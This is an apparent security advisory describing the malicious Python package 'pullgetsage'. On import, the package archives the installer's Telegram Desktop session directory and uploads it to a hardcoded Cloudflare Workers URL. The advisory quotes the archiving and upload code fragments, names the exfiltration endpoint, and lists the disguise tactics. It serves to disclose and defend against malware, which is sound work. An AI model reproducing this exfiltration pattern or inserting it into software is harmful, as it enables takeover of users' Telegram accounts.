GCVE-110-OSM-2026-12533

On import, __init__.py archives the installer's Telegram Desktop tdata directory (%APPDATA%/Telegram Desktop/tdata) into a zip named 'aiosendletter_logs' and POSTs it to a hardcoded Cloudflare Workers endpoint at https://red-poetry-6b6f.martinmcflywork.workers.dev/. The tdata directory holds Telegram session keys; uploading it enables full account takeover of the installer's Telegram account. The behavior is disguised with misleading identifiers ('aiosendletter_logs', 'aioletter initialized') and empty except-block prints that silently swallow errors, and the stated package purpose ('a library filled with books') is unrelated to Telegram. ENTRY pullgetsage/__init__.py (module-import: 32) EXFIL - Python Archive Exfiltration in pullgetsage/__init__.py: "shutil.make_archive( base_name=str(archive_base), format='zip', root_dir=tdata_p..." - Python File Upload to Remote in pullgetsage/__init__.py: "requests.post(WORKER_URL, files=" - Network Request in pullgetsage/__init__.py: "requests.post(" ADDITIONAL FINDINGS - Brand New Package - Rapid Version Publishing PAYLOAD FILES pullgetsage/__init__.py